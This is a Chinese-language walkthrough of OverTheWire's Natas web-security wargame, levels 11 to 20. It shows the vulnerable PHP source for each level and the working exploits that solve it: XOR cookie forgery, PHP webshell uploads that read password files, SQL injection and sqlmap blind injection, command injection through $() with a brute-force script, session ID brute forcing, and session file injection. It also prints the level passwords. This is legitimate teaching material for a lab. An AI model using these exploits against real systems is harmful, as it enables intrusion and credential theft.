freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Natas通关指南(11-20)
2018-08-29 15:18:41
所属地 湖南省

OverTheWire 是一个 wargame 网站。其中 Natas 是一个适合学习Web安全基础的游戏,在Natas 中,我们需要通过找到网站的漏洞获得通往下一关的密码。每一关都有一个网站,类似 http://natasX.natas.labs.overthewire.org,其中X是每一关的编号。每一关都要输入用户名(例如,level0的用户名是natas0)及其密码才能访问。所有密码存储在 /etc/natas_webpass/中。例如natas1的密码存储在文件 /etc/natas_webpass/natas1中,只能由natas0natas1读取。

网站:

http://overthewire.org/wargames/natas/

Tips:所用工具:Chrome浏览器;Curl;BurpSuite;SQLMap

Level 11-12

Username: natas11Password: natas11URL: http://natas11.natas.labs.overthewire.org

首先使用我们之前得到的密码: U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK登录natas11,得到一句提示:

  1. Cookies are protected with XOR encryption

还有一个可以设置背景颜色的输入框,输入16进制的色值,即可设置网页背景颜色,同样可以通过点击 Viewsourcecode查看源码。关键代码如下:

  1. $defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");


  2. function xor_encrypt($in) {

  3.    $key = '<censored>';

  4.    $text = $in;

  5.    $outText = '';


  6.    // Iterate through each character

  7.    for($i=0;$i<strlen($text);$i++) {

  8.    $outText .= $text[$i] ^ $key[$i % strlen($key)];

  9.    }


  10.    return $outText;

  11. }


  12. function loadData($def) {

  13.    global $_COOKIE;

  14.    $mydata = $def;

  15.    if(array_key_exists("data", $_COOKIE)) {

  16.    $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);

  17.    if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {

  18.        if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {

  19.        $mydata['showpassword'] = $tempdata['showpassword'];

  20.        $mydata['bgcolor'] = $tempdata['bgcolor'];

  21.        }

  22.    }

  23.    }

  24.    return $mydata;

  25. }


  26. function saveData($d) {

  27.    setcookie("data", base64_encode(xor_encrypt(json_encode($d))));

  28. }


  29. $data = loadData($defaultdata);


  30. if(array_key_exists("bgcolor",$_REQUEST)) {

  31.    if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {

  32.        $data['bgcolor'] = $_REQUEST['bgcolor'];

  33.    }

  34. }


  35. saveData($data);




  36. ?>


  37. <h1>natas11</h1>

  38. <div id="content">

  39. <body style="background: <?=$data['bgcolor']?>;">

  40. Cookies are protected with XOR encryption<br/><br/>


  41. <?

  42. if($data["showpassword"] == "yes") {

  43.    print "The password for natas12 is <censored><br>";

  44. }


  45. ?>

从代码可以看出,通过一些列的编码,包括 base64加密, php异或运算。把用户输入的数据编码进 cookie里面。通过浏览器可以查看到data这个值是: ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw。而 showpassword这个参数决定了我们是否能看到下一关密码。代码中有个 censoredkey,这个是 php用来做异或运算加密用到的 key,我们需要先算出这 key值,然后用这个值作为 key进行运算和一些列编码,计算出新的 cookie传入,即可得到下一关的密码。

key值计算:

  1. <?php


  2. $orig_cookie = base64_decode('ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw');  

  3. function xor_encrypt($in) {  

  4.   $text = $in;  

  5.   $key = json_encode(array( "showpassword"=>"no", "bgcolor"=>"#ffffff"));  

  6.   $out = '';  

  7.   for($i=0;$i<strlen($text);$i++) {  

  8.   $out .= $text[$i] ^ $key[$i % strlen($key)];  

  9.   }  

  10.   return $out;  

  11. }  

  12. echo xor_encrypt($orig_cookie);

  13. ?>  

得到的结果是 qw8J

计算新的Cookie:

  1. <?php


  2. $defaultdata = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");


  3. function xor_encrypt($in) {

  4.    $key = 'qw8J';

  5.    $text = $in;

  6.    $out = '';


  7.    // Iterate through each character

  8.    for($i=0;$i<strlen($text);$i++) {

  9.    $out .= $text[$i] ^ $key[$i % strlen($key)];

  10.    }


  11.    return $out;

  12. }


  13. function loadData($def) {

  14.    $mydata = $def;

  15.    $tempdata = json_decode(xor_encrypt(base64_decode($data)), true);

  16.    return $mydata;

  17. }


  18. echo  base64_encode(xor_encrypt(json_encode(loadData($defaultdata))))


  19. ?>

结果是: ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK,传入新的Cookie:

  1. curl -isu natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK natas11.natas.labs.overthewire.org --cookie "data=ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK"

  2. HTTP/1.1 200 OK

  3. Date: Mon, 27 Aug 2018 13:40:47 GMT

  4. Server: Apache/2.4.10 (Debian)

  5. Set-Cookie: data=ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK

  6. ......

  7. Cookies are protected with XOR encryption<br/><br/>


  8. The password for natas12 is EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3<br>

  9. ......

得到密码。

Level 12-13

Username: natas12URL: http://natas12.natas.labs.overthewire.org

登录natas12,可以看到是一个上传文件功能:

  1. Choose a JPEG to upload (max 1KB):

提示可以上传图片,最大不超过1kB,点击 Viewsourcecode查看源码,关键代码如下:

  1. <?  


  2. function genRandomString() {

  3.    $length = 10;

  4.    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";

  5.    $string = "";    


  6.    for ($p = 0; $p < $length; $p++) {

  7.        $string .= $characters[mt_rand(0, strlen($characters)-1)];

  8.    }


  9.    return $string;

  10. }


  11. function makeRandomPath($dir, $ext) {

  12.    do {

  13.    $path = $dir."/".genRandomString().".".$ext;

  14.    } while(file_exists($path));

  15.    return $path;

  16. }


  17. function makeRandomPathFromFilename($dir, $fn) {

  18.    $ext = pathinfo($fn, PATHINFO_EXTENSION);

  19.    return makeRandomPath($dir, $ext);

  20. }


  21. if(array_key_exists("filename", $_POST)) {

  22.    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);



  23.        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {

  24.        echo "File is too big";

  25.    } else {

  26.        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {

  27.            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";

  28.        } else{

  29.            echo "There was an error uploading the file, please try again!";

  30.        }

  31.    }

  32. } else {

  33. ?>


  34. <form enctype="multipart/form-data" action="index.php" method="POST">

  35. <input type="hidden" name="MAX_FILE_SIZE" value="1000" />

  36. <input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />

  37. Choose a JPEG to upload (max 1KB):<br/>

  38. <input name="uploadedfile" type="file" /><br />

  39. <input type="submit" value="Upload File" />

通过阅读代码,可以发现除了限制文件大小和文件扩展名做了前端限制之外,并没有检测文件类型。而且还会返回上传后的路径,那我们直接上传一个 php文件去读取 natas13的密码即可。你可以通过 BurpSuite之类的工具修改上传的 filename后缀即可。

  1. ///getpass.php

  2. <?php

  3. $getpass = file_get_contents('/etc/natas_webpass/natas13');

  4. echo $getpass;

  5. ?>

得到密码: jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

Level 13-14

Username: natas13URL: http://natas13.natas.labs.overthewire.org

页面和前一关一样,不过查看源代码发现这一次限制了文件类型,通过 php的函数 exif_imagetype() 来验证文件类型,通过查看php的文档,这个函数通过检查文件的签名(第一个字节),从而检测文件类型。关键代码如下:

  1. } else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {

  2.        echo "File is not an image";

  3.    } else {

  4.        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {

  5.            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";

  6.        } else{

  7.            echo "There was an error uploading the file, please try again!";

  8.        }

  9.    }

  10. } else {

那我们只需在上传的 php文件中加入任意图片格式文件头标识即可,比如 GIF98a

  1. GIF89a

  2. <?php

  3. $getpass = file_get_contents('/etc/natas_webpass/natas14');

  4. echo $getpass;

  5. ?>

上传后访问返回的路径,得到密码: Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1

Level 14-15

Username: natas14URL: http://natas14.natas.labs.overthewire.org

访问后,是一个登录页面,需要输入 usernamepassword,查看代码,关键代码:

  1. <?

  2. if(array_key_exists("username", $_REQUEST)) {

  3.    $link = mysql_connect('localhost', 'natas14', '<censored>');

  4.    mysql_select_db('natas14', $link);


  5.    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";

  6.    if(array_key_exists("debug", $_GET)) {

  7.        echo "Executing query: $query<br>";

  8.    }


  9.    if(mysql_num_rows(mysql_query($query, $link)) > 0) {

  10.            echo "Successful login! The password for natas15 is <censored><br>";

  11.    } else {

  12.            echo "Access denied!<br>";

  13.    }

  14.    mysql_close($link);

  15. } else {

  16. ?>

很明显的 SQL注入漏洞,没有任何过滤,直接试试万能密码: " OR 1=1 #

注入成功,得到密码: Successfullogin!Thepasswordfornatas15isAwWj0w5cvxrZiONgZ9J5stNVkmxdk39J

Level 15-16

Username: natas15URL: http://natas15.natas.labs.overthewire.org

页面需要输入一个 username,可以点击 Checkexistence查询用户是否存在,关键代码如下:

  1. <h1>natas15</h1>

  2. <div id="content">

  3. <?


  4. /*

  5. CREATE TABLE `users` (

  6.  `username` varchar(64) DEFAULT NULL,

  7.  `password` varchar(64) DEFAULT NULL

  8. );

  9. */


  10. if(array_key_exists("username", $_REQUEST)) {

  11.    $link = mysql_connect('localhost', 'natas15', '<censored>');

  12.    mysql_select_db('natas15', $link);


  13.    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";

  14.    if(array_key_exists("debug", $_GET)) {

  15.        echo "Executing query: $query<br>";

  16.    }


  17.    $res = mysql_query($query, $link);

  18.    if($res) {

  19.    if(mysql_num_rows($res) > 0) {

  20.        echo "This user exists.<br>";

  21.    } else {

  22.        echo "This user doesn't exist.<br>";

  23.    }

  24.    } else {

  25.        echo "Error in query.<br>";

  26.    }


  27.    mysql_close($link);

  28. } else {

  29. ?>

这一关,页面不会返回SQL结果。但可以通过错误提示判断查询的结果,所以可以使用SQL盲注,可以使用 LIKE表达式用通配符按个判断。这里我们直接用 sqlmap好了。

  1. sqlmap -u http://natas15.natas.labs.overthewire.org/index.php --auth-type=basic --auth-cred=natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J --dbms=mysql --data username=natas16 --level=5 --risk=3 --technique=B --dump --string="This user exists"

或者写python脚本获取密码,得到密码 WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

Level 16-17

Username: natas16URL: http://natas16.natas.labs.overthewire.org

这一关和第9关,第10关很像,不过过滤了更多的字符

页面提示 Forsecurity reasons,we now filter even more on certain characters,页面功能是 Findwords containing:,需要输入一些内容,然后搜索,然后会输出一些内容。关键代码如下:

  1. $key = "";


  2. if(array_key_exists("needle", $_REQUEST)) {

  3.    $key = $_REQUEST["needle"];

  4. }


  5. if($key != "") {

  6.    if(preg_match('/[;|&`\'"]/',$key)) {

  7.        print "Input contains an illegal character!";

  8.    } else {

  9.        passthru("grep -i \"$key\" dictionary.txt");

  10.    }

  11. }

  12. ?>

虽然过滤了很多字符,但是没有过滤 $()。我们知道PHP里的 $()即使在引号内也可以使用,所以我们可以构造注入语言 $(grep a/etc/natas_webpass/natas17),执行的语句是这样的: passthru("grep -i \"$(grep a /etc/natas_webpass/natas17)\" dictionary.txt");所有的单词都被返回了。 我们知道 dictionary.txt中存在字符串,比如说 A,用它与 $(grep)的返回值相加,如果内层返回了结果将检索出空值,如果返回空值则外层的 grep会返回结果 。比如说:如 password中首字母为 a,构成

grep-I"$(grep ^a /etc/natas_webpass/natas17)A"dictionary.txt由于内部的 $()命令返回了 a,则使外层命令变为

grep-I"aA"dictionary.txt由于 dictionary中没有 aA,从而返回空值 而如果内层 $()命令返回空值,外层则能正确检索到 A,于是返回值,证明首字母不是 a

按照这个原理可以构造出爆破脚本

  1. import requests


  2. chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'

  3. exist = ''

  4. password = ''

  5. target = 'http://natas16:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh*@natas16.natas.labs.overthewire.org/'

  6. trueStr = 'Output:\n<pre>\n</pre>'


  7. for x in chars:

  8.        r = requests.get(target+'?needle=$(grep '+x+' /etc/natas_webpass/natas17)Getpass')

  9.        if r.content.find(trueStr) != -1:

  10.                exist += x

  11.                print 'Using: ' + exist

  12. for i in range(32):

  13.        for c in exist:

  14.                r = requests.get(target+'?needle=$(grep ^'+password+c+' /etc/natas_webpass/natas17)Getpass')

  15.                if r.content.find(trueStr) != -1:

  16.                        password += c

  17.                        print 'Password: ' + password + '*' * int(32 - len(password))

  18.                        break

得到密码是: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw

Level 17-18

Username: natas17URL: http://natas17.natas.labs.overthewire.org

natas15,不过没有错误提示,所以可以用基于时间的盲注。

得出的密码是 xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP

Level 18-19

Username: natas18URL: http://natas18.natas.labs.overthewire.org

提示: Pleaseloginwithyour admin account to retrieve credentialsfornatas19.

同样有一个登录框,可以输入 usernamepassword。关键代码如下:

  1. $maxid = 640; // 640 should be enough for everyone


  2. function isValidAdminLogin() { /* {{{ */

  3.    if($_REQUEST["username"] == "admin") {

  4.    /* This method of authentication appears to be unsafe and has been disabled for now. */

  5.        //return 1;

  6.    }


  7.    return 0;

  8. }

  9. /* }}} */

  10. function isValidID($id) { /* {{{ */

  11.    return is_numeric($id);

  12. }

  13. /* }}} */

  14. function createID($user) { /* {{{ */

  15.    global $maxid;

  16.    return rand(1, $maxid);

  17. }

  18. /* }}} */

  19. function debug($msg) { /* {{{ */

  20.    if(array_key_exists("debug", $_GET)) {

  21.        print "DEBUG: $msg<br>";

  22.    }

  23. }

  24. /* }}} */

  25. function my_session_start() { /* {{{ */

  26.    if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {

  27.    if(!session_start()) {

  28.        debug("Session start failed");

  29.        return false;

  30.    } else {

  31.        debug("Session start ok");

  32.        if(!array_key_exists("admin", $_SESSION)) {

  33.        debug("Session was old: admin flag set");

  34.        $_SESSION["admin"] = 0; // backwards compatible, secure

  35.        }

  36.        return true;

  37.    }

  38.    }


  39.    return false;

  40. }

  41. /* }}} */

  42. function print_credentials() { /* {{{ */

  43.    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {

  44.    print "You are an admin. The credentials for the next level are:<br>";

  45.    print "<pre>Username: natas19\n";

  46.    print "Password: <censored></pre>";

  47.    } else {

  48.    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";

  49.    }

  50. }

  51. /* }}} */


  52. $showform = true;

  53. if(my_session_start()) {

  54.    print_credentials();

  55.    $showform = false;

  56. } else {

  57.    if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {

  58.    session_id(createID($_REQUEST["username"]));

  59.    session_start();

  60.    $_SESSION["admin"] = isValidAdminLogin();

  61.    debug("New session started");

  62.    $showform = false;

  63.    print_credentials();

  64.    }

  65. }  


  66. if($showform) {

  67. ?>

从代码上来看,没有连接数据库,说明不是 sql注入,但是我们注意到有一个变量 maxid,在 createID函数中,接收用户名请求,并将其分配给 1640($maxid)之间的随机整数。然后它将其初始化为 session_id。假设 PHPSESSID是来自 session_id的赋值,意味有1个会话ID分配会分配给“admin”。通过浏览器请求,我们发现 PHPSESSID的值确实是来自变量 maxid产生的 session_id值。

所以我们只要穷举 maxid的值就好了。可以用 Burpsuite爆破这个值,然后把它作为 PHPSESSID发送请求,即可得到密码。密码为 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs

如果嫌 Burpsuite太麻烦,用 shell脚本也可轻松搞定

  1. for i in `seq 640`

  2. do

  3.    echo $i

  4.    curl -isu natas18:xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP http://natas18.natas.labs.overthewire.org/  --cookie "PHPSESSID=$i" | grep natas19

  5. done

Level 19-20

Username: natas19URL: http://natas19.natas.labs.overthewire.org

提示是这样的: Thispage uses mostly the same codeasthe previous level,but sessionIDsarenolonger sequential...Pleaseloginwithyour admin account to retrieve credentialsfornatas20.意思就是和上一关一样,只不过 PHPSESSID不再那么简单容易猜到而已。

通过观察,发现其 PHPSESSID,虽然一长串字符串,如 3237362d61646d696e,通过16进制解码发现,都是由 3位数字-admin组成的,也就是说后面的 2d61646d696e是不变的。所以我们只需要穷举 1-640之间的数字然后拼接 -admin做16进制转换,再带入 PHPSESSID中进行提交,就能找到那个属于 adminPHPSESSID。最后得到的密码是 eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF

Level 20-21

Username: natas20URL: http://natas20.natas.labs.overthewire.org

登录后,提示: Youare loggedinasa regular user.Loginasan admin to retrieve credentialsfornatas21. 你可以输入 Yourname,然后点 Changename,不过无论你输入什么页面都没有任何信息反馈给你。查看源码,关键代码如下:

  1. <?


  2. function debug($msg) { /* {{{ */

  3.    if(array_key_exists("debug", $_GET)) {

  4.        print "DEBUG: $msg<br>";

  5.    }

  6. }

  7. /* }}} */

  8. function print_credentials() { /* {{{ */

  9.    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {

  10.    print "You are an admin. The credentials for the next level are:<br>";

  11.    print "<pre>Username: natas21\n";

  12.    print "Password: <censored></pre>";

  13.    } else {

  14.    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.";

  15.    }

  16. }

  17. /* }}} */


  18. /* we don't need this */

  19. function myopen($path, $name) {  

  20.    //debug("MYOPEN $path $name");  

  21.    return true;  

  22. }


  23. /* we don't need this */

  24. function myclose() {  

  25.    //debug("MYCLOSE");  

  26.    return true;  

  27. }


  28. function myread($sid) {  

  29.    debug("MYREAD $sid");  

  30.    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {

  31.    debug("Invalid SID");  

  32.        return "";

  33.    }

  34.    $filename = session_save_path() . "/" . "mysess_" . $sid;

  35.    if(!file_exists($filename)) {

  36.        debug("Session file doesn't exist");

  37.        return "";

  38.    }

  39.    debug("Reading from ". $filename);

  40.    $data = file_get_contents($filename);

  41.    $_SESSION = array();

  42.    foreach(explode("\n", $data) as $line) {

  43.        debug("Read [$line]");

  44.    $parts = explode(" ", $line, 2);

  45.    if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];

  46.    }

  47.    return session_encode();

  48. }


  49. function mywrite($sid, $data) {  

  50.    // $data contains the serialized version of $_SESSION

  51.    // but our encoding is better

  52.    debug("MYWRITE $sid $data");  

  53.    // make sure the sid is alnum only!!

  54.    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {

  55.    debug("Invalid SID");  

  56.        return;

  57.    }

  58.    $filename = session_save_path() . "/" . "mysess_" . $sid;

  59.    $data = "";

  60.    debug("Saving in ". $filename);

  61.    ksort($_SESSION);

  62.    foreach($_SESSION as $key => $value) {

  63.        debug("$key => $value");

  64.        $data .= "$key $value\n";

  65.    }

  66.    file_put_contents($filename, $data);

  67.    chmod($filename, 0600);

  68. }


  69. /* we don't need this */

  70. function mydestroy($sid) {

  71.    //debug("MYDESTROY $sid");  

  72.    return true;  

  73. }

  74. /* we don't need this */

  75. function mygarbage($t) {  

  76.    //debug("MYGARBAGE $t");  

  77.    return true;  

  78. }


  79. session_set_save_handler(

  80.    "myopen",  

  81.    "myclose",  

  82.    "myread",  

  83.    "mywrite",  

  84.    "mydestroy",  

  85.    "mygarbage");

  86. session_start();


  87. if(array_key_exists("name", $_REQUEST)) {

  88.    $_SESSION["name"] = $_REQUEST["name"];

  89.    debug("Name set to " . $_REQUEST["name"]);

  90. }


  91. print_credentials();


  92. $name = "";

  93. if(array_key_exists("name", $_SESSION)) {

  94.    $name = $_SESSION["name"];

  95. }


  96. ?>

我们来看看每个函数的作用:

debug($msg)表示打开了调试信息,可以通过在URL的末尾添加 /index.php?debug来查看调试消息 $msg

访问之后将看到一些提示,类似这样的:

  1. DEBUG: MYWRITE sm2d78a9d3u7r6qq2dn8tl7sf1 name|s:5:"admin";

  2. DEBUG: Saving in /var/lib/php5/sessions//mysess_sm2d78a9d3u7r6qq2dn8tl7sf1

  3. DEBUG: name => admin

可以看出,登录之后, $ _SESSION的值被存储在一个文件中。

重点在 mywritemyread这两个关键函数,它们的作用是管理会话状态。

默认情况下, $ _SESSION中唯一的 keyname,其值通过 /index.php中的表单提交进行设置。我们可以通过对 name键值对进行注入:将 data里面的值变为: name xxxx \n admin1\n

对换行符编码然后提交:

  1. http://natas20.natas.labs.overthewire.org/index.php?name=test%0Aadmin%201&debug=1

再次访问 http://natas20.natas.labs.overthewire.org即可得到密码

  1. You are an admin. The credentials for the next level are:

  2. Username: natas21

  3. Password: IFekPyrQXftziDEsUr3x21sYuahypdgJ

未完待续......

(如需转载,请注明出处)

# 合天智汇 # 合天网安
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者